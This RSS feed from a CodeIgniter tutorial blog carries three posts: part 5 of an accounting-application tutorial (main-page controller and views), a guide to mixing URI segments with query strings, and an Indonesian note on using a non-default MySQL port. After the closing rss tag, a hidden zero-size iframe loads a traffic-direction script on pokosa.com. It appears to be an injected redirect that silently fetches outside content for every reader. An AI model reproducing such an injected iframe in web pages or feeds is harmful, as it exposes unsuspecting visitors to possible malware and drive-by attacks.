<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>dijexi.com &#187; CodeIgniter</title>
	<atom:link href="http://www.dijexi.com/tag/codeigniter/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dijexi.com</link>
	<description>free programming tutorial, tips and tricks on php, codeigniter, delphi, dotnet, ajax and more..</description>
	<lastBuildDate>Fri, 13 Jan 2012 23:21:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<atom:link rel="hub" href="http://pubsubhubbub.appspot.com"/><atom:link rel="hub" href="http://superfeedr.com/hubbub"/>		<item>
		<title>CodeIgniter Tutorial: [Creating Accounting Application] Part 5 The Mainpage</title>
		<link>http://www.dijexi.com/2010/05/codeigniter-tutorial-creating-accounting-application-part-5-the-mainpage/</link>
		<comments>http://www.dijexi.com/2010/05/codeigniter-tutorial-creating-accounting-application-part-5-the-mainpage/#comments</comments>
		<pubDate>Tue, 04 May 2010 02:31:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[CodeIgniter]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[accounting system]]></category>
		<category><![CDATA[main controller]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2010/05/codeigniter-tutorial-creating-accounting-application-part-5-the-mainpage/</guid>
		<description><![CDATA[Well I’m sorry, it’s been so long for this part to come.. I had been working very hard on some clients and don’t have enough time to write. Here’s what I had been done if you’re curious :) : http://maps.GpsTrackingIndonesia.com, www.SunberryCorp.com, www.mypushme.com, www.kulacak.com, www.web2trace.com, www.pushmeportal.com, … The fun is almost all of them was written [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><p>Well I’m sorry, it’s been so long for this part to come.. I had been working very hard on some clients and don’t have enough time to write. Here’s what I had been done if you’re curious :) : <a href="http://maps.GpsTrackingIndonesia.com">http://maps.GpsTrackingIndonesia.com</a>, <a href="http://www.SunberryCorp.com">www.SunberryCorp.com</a>, <a href="http://www.mypushme.com">www.mypushme.com</a>, <a href="http://www.kulacak.com">www.kulacak.com</a>, <a href="http://www.web2trace.com">www.web2trace.com</a>, <a href="http://www.pushmeportal.com">www.pushmeportal.com</a>, … The fun is almost all of them was written with CodeIgniter :).</p>
<p>Ok, let’s start with the easiest one first. We will create a simple menu page that contains links to other modules on the system. We put it on the Mainpage controller class. </p>
<p>Look at the Mainpage.php controller file. There is a function on it named exactly the same with the filename: Mainpage(). This should be exactly the same including the case. This is the constructor or initialization function of the class. Each time the class is called or instantiate, this function is called automatically. We put some initialization lines inside it:</p>
<p> <span id="more-1317"></span>
<div class="dean_ch" style="white-space: wrap;"><span class="kw2">function</span> Mainpage<span class="br0">&#40;</span><span class="br0">&#41;</span>&nbsp;<br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp;parent::<span class="me2">Controller</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;&nbsp; <br />
&nbsp; &nbsp; &nbsp;<span class="re0">$this</span>-&gt;<span class="me1">load</span>-&gt;<span class="me1">helper</span><span class="br0">&#40;</span><span class="st0">&#8216;url&#8217;</span><span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span></div>
<p>The line <strong>parent::Controller() </strong>calls the constructor function of this class’s parent constructor which is the CodeIgniter’s Controller class so that it has all the properties and method of it’s parent.</p>
<p>Then, we load a helper library that contains helper functions related to URL handling such as site_url() to return the site’s URL that we are working on. Other functions on this helper are: anchor(), base_url(), uri_string(), etc. You can check it all on the user guide <a title="http://localhost/acct/user_guide/helpers/url_helper.html" href="http://localhost/user_guide/helpers/url_helper.html">http://localhost/user_guide/helpers/url_helper.html</a>.</p>
<p>Again, look at the Mainpage.php file. We added a new function called <strong>index()</strong>. This function is analogous to the index.html file in static web page. It’s called by default when we point our browser to the Mainpage controller, ie: <a href="http://localhost/index.php/Mainpage">http://localhost/index.php/Mainpage</a>.</p>
<div class="dean_ch" style="white-space: wrap;"><span class="kw2">public</span> <span class="kw2">function</span> index<span class="br0">&#40;</span><span class="br0">&#41;</span> <br />
<span class="br0">&#123;</span> <br />
&nbsp; &nbsp; <span class="re0">$this</span>-&gt;<span class="me1">load</span>-&gt;<span class="me1">view</span><span class="br0">&#40;</span><span class="st0">&#8216;header&#8217;</span><span class="br0">&#41;</span>; <br />
&nbsp; &nbsp; <span class="re0">$this</span>-&gt;<span class="me1">load</span>-&gt;<span class="me1">view</span><span class="br0">&#40;</span><span class="st0">&quot;main_menu&quot;</span><span class="br0">&#41;</span>; <br />
&nbsp; &nbsp; <span class="re0">$this</span>-&gt;<span class="me1">load</span>-&gt;<span class="me1">view</span><span class="br0">&#40;</span><span class="st0">&#8216;footer&#8217;</span><span class="br0">&#41;</span>; <br />
&nbsp; &nbsp; <span class="kw1">return</span>; <br />
<span class="br0">&#125;</span></div>
<p>On the function, we load view files. Here we divide the view into 3 pieces: header, main_menu, and footer. They are basically just regular PHP files dealing with display templates. This will make us easier to manage the look of our application later.</p>
<p>All of the view files should be located under <strong>system/application/views</strong> folder on CodeIgniter file structure. So we need to create all of them:</p>
<p>The <strong>header.php</strong> view file, contains the opening HTML tags, HEAD, TITLE and start of BODY. Later we can add CSS link definition here: </p>
<div class="dean_ch" style="white-space: wrap;">&lt;p&gt;&lt;!DOCTYPE HTML <span class="kw2">PUBLIC</span> <span class="st0">&quot;-//W3C//DTD HTML 3.2 Final//EN&quot;</span>&gt;</p>
<p>&lt;html&gt; &nbsp;<br />
&lt;head&gt;&lt;/p&gt;&lt;p&gt;&lt;title&gt;Cashbook application&lt;/title&gt; <br />
&lt;/head&gt;<br />
&lt;body&gt;<br />
&lt;/p&gt;</div>
<p>&#160;</p>
<p>The <strong>footer.php</strong> view file, just a closing BODY and HTML tag, but you can later add your copyright notice, timestamps, etc:&#160;&#160; </p>
<p>&#160;</p>
<pre>&lt;/body&gt;
&lt;/html&gt;</pre>
<p>And the <strong>main_menu.php</strong> view file. Here we write a list of links to modules that we are going to develop later:</p>
<div class="dean_ch" style="white-space: wrap;">&lt;p&gt;&lt;p&gt;Cash Book&lt;/p&gt;</p>
<p>&lt;ul&gt;</p>
<p>&lt;li&gt;&lt;?=anchor<span class="br0">&#40;</span><span class="st0">&quot;Cashbook/addNew/receive&quot;</span>,<span class="st0">&quot;Cash Receive Entry&quot;</span><span class="br0">&#41;</span><span class="kw2">?&gt;</span> &nbsp;<br />
&lt;li&gt;&lt;?=anchor<span class="br0">&#40;</span><span class="st0">&quot;Cashbook/addNew/out&quot;</span>,<span class="st0">&quot;Cash Out Entry&quot;</span><span class="br0">&#41;</span> <span class="kw2">?&gt;</span></p>
<p>&lt;li&gt;&lt;?=anchor<span class="br0">&#40;</span><span class="st0">&quot;Cashbook/viewReport&quot;</span>,<span class="st0">&quot;Cash Book Report&quot;</span><span class="br0">&#41;</span><span class="kw2">?&gt;</span> &nbsp;<br />
&lt;/ul&gt; &lt;/p&gt;<br />
&lt;p&gt;&lt;p&gt;Bank Book&lt;/p&gt; &nbsp;<br />
&lt;ul&gt;</p>
<p>&lt;li&gt;&lt;?=anchor<span class="br0">&#40;</span><span class="st0">&quot;Bankbook/addNew/receive&quot;</span>,<span class="st0">&quot;Bank Receive Entry&quot;</span><span class="br0">&#41;</span>;?&gt;<br />
&lt;li&gt;&lt;?=anchor<span class="br0">&#40;</span><span class="st0">&quot;Bankbook/addNew/out&quot;</span>,<span class="st0">&quot;Bank Out Entry&quot;</span><span class="br0">&#41;</span>;?&gt;<br />
&lt;li&gt;&lt;?=anchor<span class="br0">&#40;</span><span class="st0">&quot;Bankbook/viewReport&quot;</span>,<span class="st0">&quot;Bank Book Report&quot;</span><span class="br0">&#41;</span>;?&gt;<br />
&lt;/ul&gt; &lt;/p&gt;</p>
<p>&lt;p&gt;&lt;p&gt;Manual Journal&lt;/p&gt; &nbsp;<br />
&lt;ul&gt;<br />
&lt;li&gt;&lt;?=anchor<span class="br0">&#40;</span><span class="st0">&quot;Journal/addNew&quot;</span>,<span class="st0">&quot;Manual Journal Entry&quot;</span><span class="br0">&#41;</span><span class="kw2">?&gt;</span><br />
&lt;li&gt;&lt;?=anchor<span class="br0">&#40;</span><span class="st0">&quot;Journal/viewReport&quot;</span>,<span class="st0">&quot;Manual Journal Report&quot;</span><span class="br0">&#41;</span><span class="kw2">?&gt;</span><br />
&lt;/ul&gt; &lt;/p&gt;<br />
&lt;p&gt;&lt;p&gt;Report&lt;/p&gt;<br />
&lt;ul&gt; &nbsp;<br />
&lt;li&gt;&lt;?=anchor<span class="br0">&#40;</span><span class="st0">&quot;Mainpage/trialBalance&quot;</span>,<span class="st0">&quot;Trial Balance&quot;</span><span class="br0">&#41;</span><span class="kw2">?&gt;</span></p>
<p>&lt;li&gt;&lt;?=anchor<span class="br0">&#40;</span><span class="st0">&quot;Mainpage/balanceSheet&quot;</span>,<span class="st0">&quot;Balance Sheet&quot;</span><span class="br0">&#41;</span><span class="kw2">?&gt;</span> &nbsp;<br />
&lt;li&gt;&lt;?=anchor<span class="br0">&#40;</span><span class="st0">&quot;Mainpage/profitLoss&quot;</span>,<span class="st0">&quot;Profit and Loss&quot;</span><span class="br0">&#41;</span><span class="kw2">?&gt;</span></p>
<p>&lt;/ul&gt; &lt;/p&gt;</p>
<p>&lt;p&gt;&lt;p&gt;Posting and COA&lt;/p&gt;<br />
&lt;ul&gt;<br />
&lt;li&gt;&lt;?=anchor<span class="br0">&#40;</span><span class="st0">&quot;Mainpage/doPosting&quot;</span>,<span class="st0">&quot;Post transaction&quot;</span><span class="br0">&#41;</span><span class="kw2">?&gt;</span><br />
&lt;li&gt;&lt;?=anchor<span class="br0">&#40;</span><span class="st0">&quot;Coa/listCoa&quot;</span>,<span class="st0">&quot;Chart of Account Setting&quot;</span><span class="br0">&#41;</span><span class="kw2">?&gt;</span><br />
&lt;/ul&gt;&lt;/p&gt;</div>
<p>As we can see above, we call a helper function anchor(). This function will create a standard HTML anchor link based on your local site URL. So for example, if we call it <strong>achor(“Mainpage/trialBalance”, “Trial Balance”)</strong> then it will return this string:</p>
<p>&lt;a href=”http://localhost/Mainpage/trialBalance”&gt; Trial Balance &lt;/a&gt;</p>
<p>assumed that you have configured your site URL as <a href="http://localhost/">http://localhost/</a> on the config.php file.</p>
<p>Now we can run our application by pointing the browser to <a href="http://localhost">http://localhost</a> and it should return something like the following:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2010/05/image.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2010/05/image_thumb.png" width="404" height="484" /></a> </p>
<p>Congratulation! </p>
<p>Next we will begin to code the COA module.</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:c2efec71-3808-442a-9518-d1db80ef5dca" class="wlWriterEditableSmartContent">Technorati Tags: <a href="http://technorati.com/tags/codeigniter" rel="tag">codeigniter</a>,<a href="http://technorati.com/tags/main+controller" rel="tag">main controller</a>,<a href="http://technorati.com/tags/accounting+system" rel="tag">accounting system</a></div>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/07/codeigniter-tutorial-creating-accounting-application-part-1-setting-up-the-environment/" rel="bookmark">CodeIgniter Tutorial: [Creating Accounting Application] Part 1 Setting Up the Environment</a></li><li><a href="http://www.dijexi.com/2009/09/codeigniter-tutorial-creating-accounting-application-part-4-preparing-to-code/" rel="bookmark">CodeIgniter Tutorial: [Creating Accounting Application] Part 4 Preparing to Code</a></li><li><a href="http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-2-the-application-specification-and-uml-diagrams/" rel="bookmark">CodeIgniter Tutorial: [Creating Accounting Application] Part 2 The Application Specification and UML Diagrams</a></li><li><a href="http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-3-er-diagram-and-creating-database/" rel="bookmark">CodeIgniter Tutorial: [Creating Accounting Application] Part 3 ER Diagram and Creating Database</a></li><li><a href="http://www.dijexi.com/2009/06/codeigniter-konek-ke-port-mysql-tertentu-selain-3306/" rel="bookmark">CodeIgniter: koneksi ke port MySQL tertentu selain 3306</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2010%2F05%2Fcodeigniter-tutorial-creating-accounting-application-part-5-the-mainpage%2F&amp;linkname=CodeIgniter%20Tutorial%3A%20%5BCreating%20Accounting%20Application%5D%20Part%205%20The%20Mainpage"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2010/05/codeigniter-tutorial-creating-accounting-application-part-5-the-mainpage/feed/</wfw:commentRss>
		<slash:comments>26</slash:comments>
		</item>
		<item>
		<title>How to Mix Segment and Query String in CodeIgniter</title>
		<link>http://www.dijexi.com/2009/08/how-to-mix-segment-and-query-string-in-codeigniter/</link>
		<comments>http://www.dijexi.com/2009/08/how-to-mix-segment-and-query-string-in-codeigniter/#comments</comments>
		<pubDate>Fri, 28 Aug 2009 03:30:53 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[CodeIgniter]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[query string]]></category>
		<category><![CDATA[segment]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2009/08/how-to-mix-segment-and-query-string-in-codeigniter/</guid>
		<description><![CDATA[Passing parameter to a web page build with CodeIgniter (CI) can be done by using either POST variables which comes from HTML form or from the URI. But, different from traditional web application, by default CI only recognizes a segment based URI rather than query string format for passing parameter by URI. In some circumstances [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><p>Passing parameter to a web page build with CodeIgniter (CI) can be done by using either POST variables which comes from HTML form or from the URI. But, different from traditional web application, by default CI only recognizes a segment based URI rather than query string format for passing parameter by URI.</p>
<p>In some circumstances we do need to use the query string to pass data to our page, which in this case using PHP global variable $_GET. By default, CI will not allow us to read the content of $_GET variable but instead using the URI class $this-&gt;uri-&gt;segment(the_segment_number). </p>
<p> <span id="more-1181"></span>
<p>To be able to read the content of $_GET variable within a controller we need to do several things.</p>
<p>First, edit the system/application/config/config.php file, locate the line of uri_protocol configuration, and change the value to PATH_INFO.</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:f32c3428-b7e9-4f15-a8ea-c502c7ff2e88:fc7cb530-0708-477d-95ea-96be773193f9" class="wlWriterEditableSmartContent">
<div class="dean_ch" style="white-space: wrap;"><span class="re0">$config</span><span class="br0">&#91;</span><span class="st0">&#8216;uri_protocol&#8217;</span><span class="br0">&#93;</span>&nbsp;= <span class="st0">&quot;PATH_INFO&quot;</span>;<br />
&nbsp;</div>
</div>
<p>Then, in the controller that we need to read the $_GET variable, put this line inside the controller class constructor.</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:f32c3428-b7e9-4f15-a8ea-c502c7ff2e88:4297f86e-d1b7-41c4-81ea-47d9a0fd7275" class="wlWriterEditableSmartContent">
<div class="dean_ch" style="white-space: wrap;"><a href="http://www.php.net/parse_str"><span class="kw3">parse_str</span></a><span class="br0">&#40;</span><span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st0">&#8216;QUERY_STRING&#8217;</span><span class="br0">&#93;</span>,<span class="re0">$_GET</span><span class="br0">&#41;</span>;</div>
</div>
<p>After that, the controller will be able to read the content of the $_GET variable. For example, if we call the controller by using this URI server.com/index.php/controller/abcd?q=1234&amp;js=true, then we can read each of the parameter passed on the URI like this:</p>
<p>&#160;</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:f32c3428-b7e9-4f15-a8ea-c502c7ff2e88:483c356d-556b-4201-a0ae-bb8f8b7dee4f" class="wlWriterEditableSmartContent">
<div class="dean_ch" style="white-space: wrap;">$abcd=$this-&gt;uri-&gt;segment(3); // $abcd will contains &quot;abcd&quot;<br />
$q = $_GET['q'] ; // $q will contains &quot;1234&quot;<br />
$js = $_GET['js']; // $js will contains &quot;true&quot;<br />
&nbsp;</div>
</div>
<p>Here is an example of a controller class that can read both URI segment and query string.</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:f32c3428-b7e9-4f15-a8ea-c502c7ff2e88:27d5d8ba-866a-4ad2-a4c5-9c671f467c3b" class="wlWriterEditableSmartContent">
<div class="dean_ch" style="white-space: wrap;"><span class="kw2">&lt;?php</span><br />
<span class="kw2">class</span> Mapservices <span class="kw2">extends</span> Controller <span class="br0">&#123;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; <span class="kw2">function</span> Mapservices<span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; parent::<span class="me2">Controller</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/parse_str"><span class="kw3">parse_str</span></a><span class="br0">&#40;</span><span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st0">&#8216;QUERY_STRING&#8217;</span><span class="br0">&#93;</span>,<span class="re0">$_GET</span><span class="br0">&#41;</span>;</p>
<p>&nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="kw2">function</span> lookup<span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$table</span> = <span class="re0">$this</span>-&gt;<span class="me1">uri</span>-&gt;<span class="me1">segment</span><span class="br0">&#40;</span><span class="nu0">3</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$q</span>=<span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">&#8216;q&#8217;</span><span class="br0">&#93;</span>;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// do the required process here&#8230;&nbsp; &nbsp; &nbsp; </span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span><br />
<span class="kw2">?&gt;</span></div>
</div>
<p>On the above example, the controller called mapservices could be called by using this URI: server.com/index.php/mapservices/cities?q=bandung .</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:96a568db-bade-4c77-b644-69de1017b357" class="wlWriterEditableSmartContent">Technorati Tags: <a href="http://technorati.com/tags/CodeIgniter" rel="tag">CodeIgniter</a>,<a href="http://technorati.com/tags/segment" rel="tag">segment</a>,<a href="http://technorati.com/tags/query+string" rel="tag">query string</a></div>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/08/how-to-use-codeigniter-pagination-class-with-database/" rel="bookmark">How To Use CodeIgniter Pagination Class with Database</a></li><li><a href="http://www.dijexi.com/2009/06/codeigniter-konek-ke-port-mysql-tertentu-selain-3306/" rel="bookmark">CodeIgniter: koneksi ke port MySQL tertentu selain 3306</a></li><li><a href="http://www.dijexi.com/2009/07/codeigniter-tutorial-creating-accounting-application-part-1-setting-up-the-environment/" rel="bookmark">CodeIgniter Tutorial: [Creating Accounting Application] Part 1 Setting Up the Environment</a></li><li><a href="http://www.dijexi.com/2009/08/codeigniter-library-to-create-google-maps-encoded-polylines/" rel="bookmark">CodeIgniter Library to Create Google Maps Encoded Polylines</a></li><li><a href="http://www.dijexi.com/2010/05/codeigniter-tutorial-creating-accounting-application-part-5-the-mainpage/" rel="bookmark">CodeIgniter Tutorial: [Creating Accounting Application] Part 5 The Mainpage</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F08%2Fhow-to-mix-segment-and-query-string-in-codeigniter%2F&amp;linkname=How%20to%20Mix%20Segment%20and%20Query%20String%20in%20CodeIgniter"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/08/how-to-mix-segment-and-query-string-in-codeigniter/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>CodeIgniter: koneksi ke port MySQL tertentu selain 3306</title>
		<link>http://www.dijexi.com/2009/06/codeigniter-konek-ke-port-mysql-tertentu-selain-3306/</link>
		<comments>http://www.dijexi.com/2009/06/codeigniter-konek-ke-port-mysql-tertentu-selain-3306/#comments</comments>
		<pubDate>Mon, 29 Jun 2009 23:05:05 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[CodeIgniter]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[connect]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[database driver]]></category>
		<category><![CDATA[database drivers]]></category>
		<category><![CDATA[driver database]]></category>
		<category><![CDATA[file]]></category>
		<category><![CDATA[file ini]]></category>
		<category><![CDATA[koneksi]]></category>
		<category><![CDATA[port]]></category>
		<category><![CDATA[string]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2009/06/codeigniter-konek-ke-port-mysql-tertentu-selain-3306/</guid>
		<description><![CDATA[Secara default, database driver MySQL CodeIgniter konek ke port default MySQL yaitu 3306. Pada kondisi dimana port MySQL bukan 3306 misalnya 3307, CodeIgniter tidak punya option untuk menentukan pada port berapa MySQL berjalan. Solusi untuk hal ini dapat dilakukan dengan beberapa cara: mengedit file driver database CodeIgniter: system/database/drivers/mysqli/mysqli_driver.php. Pada file ini dapat ditentukan port MySQL [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><p>Secara default, database driver MySQL CodeIgniter konek ke port default MySQL yaitu 3306. Pada kondisi dimana port MySQL bukan 3306 misalnya 3307, CodeIgniter tidak punya option untuk menentukan pada port berapa MySQL berjalan.</p>
<p>Solusi untuk hal ini dapat dilakukan dengan beberapa cara:</p>
<ol>
<li>mengedit file driver database CodeIgniter: <strong>system/database/drivers/mysqli/mysqli_driver.php.</strong> Pada file ini dapat ditentukan port MySQL pada function ‘db_connect’ yaitu dengan menambahkan parameter $port pada function tsb: <strong>       <br />mysqli_connect</strong> ( [string $host [, string $username [, string $passwd [, string $dbname [, int $port [, string $socket]]]]]] ) </li>
<li>mengedit file PHP.INI, pada bagian&#160; mysql.default_port, ganti dari 3306 menjadi 3307 </li>
<li>jika tidak punya akses ke file PHP.INI, bisa juga dicoba dengan mengedit file <strong>config/database.php</strong> nya CodeIgniter yaitu pada baris:
<div class="codeblock"><code><span style="color: #0000bb">$db[</span><span style="color: #dd0000">'default'</span><span style="color: #0000bb">][</span><span style="color: #dd0000">'hostname'</span><span style="color: #0000bb">] </span><span style="color: #007700">= </span><span style="color: #dd0000">&quot;mysqlhost.yourdomain.com:3307&quot;</span><span style="color: #007700">;</span></code></div>
</li>
</ol>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/06/portable-apache-mysql-php/" rel="bookmark">Portable Apache, MySQL, PHP</a></li><li><a href="http://www.dijexi.com/2009/05/sql-express-meng-enable-koneksi-remote-melalui-tcpip/" rel="bookmark">SQL Express: meng-enable koneksi remote melalui TCP/IP</a></li><li><a href="http://www.dijexi.com/2009/06/perl-konek-ke-postgresql/" rel="bookmark">Perl connection to PostgreSQL</a></li><li><a href="http://www.dijexi.com/2009/07/codeigniter-tutorial-creating-accounting-application-part-1-setting-up-the-environment/" rel="bookmark">CodeIgniter Tutorial: [Creating Accounting Application] Part 1 Setting Up the Environment</a></li><li><a href="http://www.dijexi.com/2009/06/meng-connect-in-php-ke-postgresql/" rel="bookmark">PHP Connection to PostgreSQL</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F06%2Fcodeigniter-konek-ke-port-mysql-tertentu-selain-3306%2F&amp;linkname=CodeIgniter%3A%20koneksi%20ke%20port%20MySQL%20tertentu%20selain%203306"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/06/codeigniter-konek-ke-port-mysql-tertentu-selain-3306/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
